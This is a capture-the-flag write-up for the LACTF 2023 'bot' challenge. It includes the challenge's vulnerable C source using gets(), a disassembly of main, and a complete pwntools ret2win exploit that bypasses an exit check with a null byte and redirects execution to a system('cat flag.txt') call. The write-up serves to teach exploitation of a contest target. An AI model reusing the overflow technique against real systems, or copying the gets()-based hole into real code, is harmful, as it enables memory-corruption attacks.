6 minutes
🇬🇧 LACTF 2023 - pwn/bot
Note
Second pwn
challenge from the LACTF 2023
. Basic ret2win
with a little twist: bypassing a condition to prevent the program from exiting…
Description
I made a bot to automatically answer all of your questions.
Dockerfile
, libc-2.31.so
, ld-2.31.so
, bot.c
, bot
File information
before doing all of that, we run pwninit
to patch the binary with the given libc
and ld
checksec bot_patched && file bot_patched
[*] '/home/conflict/ctfs/lactf2023/bot/bot_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: '.'
bot_patched: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=1ed799aea3b8082b9dadde68dd67684e6101badc, with debug_info, not stripped
So, we’re going to work on a 64 bits non-stripped dynamically linked executable, with NX
enabled, but it’s not a problem for us since we’re not going to use a shellcode.
For the source code, there is no need to decompile the file or to struggle with some pseudo-code because we have the .c
file.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void) {
setbuf(stdout, NULL);
char input[64];
volatile int give_flag = 0;
puts("hi, how can i help?");
gets(input);
if (strcmp(input, "give me the flag") == 0) {
puts("lol no");
} else if (strcmp(input, "please give me the flag") == 0) {
puts("no");
} else if (strcmp(input, "help, i have no idea how to solve this") == 0) {
puts("L");
} else if (strcmp(input, "may i have the flag?") == 0) {
puts("not with that attitude");
} else if (strcmp(input, "please please please give me the flag") == 0) {
puts("i'll consider it");
sleep(15);
if (give_flag) {
puts("ok here's your flag");
system("cat flag.txt");
} else {
puts("no");
}
} else {
puts("sorry, i didn't understand your question");
exit(1);
}
}
Exploitation
Looking at the C
code, we see that the program creates a buffer of 64 bytes
for our input, they reads with gets()
. As a reminder, this function is dangerous and should never be used because it doesn’t allow you to check the length of the user input.
We have our entry point, but we have one last problem: If none of the comparaisons under the gets()
is true
, the program will exit and never return
, so overwriting rip
is useless because it will never jump back to it.
So we will enter “give me the flag” followed by a null byte
and our payload. The null byte
will stop the string and allow us to bypass the strcmp
.
We now have two things to do: finding out the offset
to overwrite rip
’s save, and finding out where we want to jump to print the flag.
To find out the offset, we can just take a look at the code again:
char input[64];
This is the first variable initialised in the program so it will be the closest from rbp
(and thus from rip
since rbp
is just before). It is 64 bytes
long so the 65th byte of our input should end up in rbp
, and the 73rd (64+8+1
) byte should end up in rip
. Now, remember that we are not only sending junk, so we have to substract the length of the sentence to this offset.
Then knowing where to jump is just as easy. We’re going to use gdb
to disassemble the main function:
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000401182 <+0>: push rbp
0x0000000000401183 <+1>: mov rbp,rsp
0x0000000000401186 <+4>: sub rsp,0x50
0x000000000040118a <+8>: mov rax,QWORD PTR [rip+0x2ecf] # 0x404060 <stdout@GLIBC_2.2.5>
0x0000000000401191 <+15>: mov esi,0x0
0x0000000000401196 <+20>: mov rdi,rax
0x0000000000401199 <+23>: call 0x401040 <setbuf@plt>
0x000000000040119e <+28>: mov DWORD PTR [rbp-0x44],0x0
0x00000000004011a5 <+35>: lea rdi,[rip+0xe5c] # 0x402008
0x00000000004011ac <+42>: call 0x401030 <puts@plt>
0x00000000004011b1 <+47>: lea rax,[rbp-0x40]
0x00000000004011b5 <+51>: mov rdi,rax
0x00000000004011b8 <+54>: call 0x401070 <gets@plt>
0x00000000004011bd <+59>: lea rax,[rbp-0x40]
0x00000000004011c1 <+63>: lea rsi,[rip+0xe54] # 0x40201c
0x00000000004011c8 <+70>: mov rdi,rax
0x00000000004011cb <+73>: call 0x401060 <strcmp@plt>
0x00000000004011d0 <+78>: test eax,eax
0x00000000004011d2 <+80>: jne 0x4011e5 <main+99>
0x00000000004011d4 <+82>: lea rdi,[rip+0xe52] # 0x40202d
0x00000000004011db <+89>: call 0x401030 <puts@plt>
0x00000000004011e0 <+94>: jmp 0x4012cc <main+330>
0x00000000004011e5 <+99>: lea rax,[rbp-0x40]
0x00000000004011e9 <+103>: lea rsi,[rip+0xe44] # 0x402034
0x00000000004011f0 <+110>: mov rdi,rax
0x00000000004011f3 <+113>: call 0x401060 <strcmp@plt>
0x00000000004011f8 <+118>: test eax,eax
0x00000000004011fa <+120>: jne 0x40120d <main+139>
0x00000000004011fc <+122>: lea rdi,[rip+0xe49] # 0x40204c
0x0000000000401203 <+129>: call 0x401030 <puts@plt>
0x0000000000401208 <+134>: jmp 0x4012cc <main+330>
0x000000000040120d <+139>: lea rax,[rbp-0x40]
0x0000000000401211 <+143>: lea rsi,[rip+0xe38] # 0x402050
0x0000000000401218 <+150>: mov rdi,rax
0x000000000040121b <+153>: call 0x401060 <strcmp@plt>
0x0000000000401220 <+158>: test eax,eax
0x0000000000401222 <+160>: jne 0x401235 <main+179>
0x0000000000401224 <+162>: lea rdi,[rip+0xe4c] # 0x402077
0x000000000040122b <+169>: call 0x401030 <puts@plt>
0x0000000000401230 <+174>: jmp 0x4012cc <main+330>
0x0000000000401235 <+179>: lea rax,[rbp-0x40]
0x0000000000401239 <+183>: lea rsi,[rip+0xe39] # 0x402079
0x0000000000401240 <+190>: mov rdi,rax
0x0000000000401243 <+193>: call 0x401060 <strcmp@plt>
0x0000000000401248 <+198>: test eax,eax
0x000000000040124a <+200>: jne 0x40125a <main+216>
0x000000000040124c <+202>: lea rdi,[rip+0xe3b] # 0x40208e
0x0000000000401253 <+209>: call 0x401030 <puts@plt>
0x0000000000401258 <+214>: jmp 0x4012cc <main+330>
0x000000000040125a <+216>: lea rax,[rbp-0x40]
0x000000000040125e <+220>: lea rsi,[rip+0xe43] # 0x4020a8
0x0000000000401265 <+227>: mov rdi,rax
0x0000000000401268 <+230>: call 0x401060 <strcmp@plt>
0x000000000040126d <+235>: test eax,eax
0x000000000040126f <+237>: jne 0x4012b6 <main+308>
0x0000000000401271 <+239>: lea rdi,[rip+0xe56] # 0x4020ce
0x0000000000401278 <+246>: call 0x401030 <puts@plt>
0x000000000040127d <+251>: mov edi,0xf
0x0000000000401282 <+256>: call 0x401090 <sleep@plt>
0x0000000000401287 <+261>: mov eax,DWORD PTR [rbp-0x44]
0x000000000040128a <+264>: test eax,eax
0x000000000040128c <+266>: je 0x4012a8 <main+294>
0x000000000040128e <+268>: lea rdi,[rip+0xe4a] # 0x4020df
0x0000000000401295 <+275>: call 0x401030 <puts@plt>
0x000000000040129a <+280>: lea rdi,[rip+0xe52] # 0x4020f3
0x00000000004012a1 <+287>: call 0x401050 <system@plt>
0x00000000004012a6 <+292>: jmp 0x4012cc <main+330>
0x00000000004012a8 <+294>: lea rdi,[rip+0xd9d] # 0x40204c
0x00000000004012af <+301>: call 0x401030 <puts@plt>
0x00000000004012b4 <+306>: jmp 0x4012cc <main+330>
0x00000000004012b6 <+308>: lea rdi,[rip+0xe43] # 0x402100
0x00000000004012bd <+315>: call 0x401030 <puts@plt>
0x00000000004012c2 <+320>: mov edi,0x1
0x00000000004012c7 <+325>: call 0x401080 <exit@plt>
0x00000000004012cc <+330>: mov eax,0x0
0x00000000004012d1 <+335>: leave
0x00000000004012d2 <+336>: ret
End of assembler dump.
We’ll jump at the puts()
right before the system()
call. (0x00401295
)
Now that we know all of that, let’s make our exploit !
#!/usr/bin/env python3
from pwn import *
exe = ELF("./bot_patched", checksec=False)
libc = ELF("./libc-2.31.so", checksec=False)
ld = ELF("./ld-2.31.so", checksec=False)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("lac.tf",31180)
return r
def main():
r = conn()
r.recv()
condition = b"give me the flag\x00"
junk = b"A"*(64-len(condition))
rbp = b"B"*0x8
rip = p64(0x00401295)
# Added a ret gadget to fix the stack alignment because i'm on Ubuntu, but it works fine without it remotely é
ret = p64(0x000401016)
payload = condition + junk + rbp + ret + rip
r.sendline(payload)
print(b"flag -> " + r.recvall().split(b"\n")[2])
#r.interactive()
if __name__ == "__main__":
main()
Now, we can test it locally and remotely to check it works fine:
and it does! gg!
flag -> lactf{hey_stop_bullying_my_bot_thats_not_nice}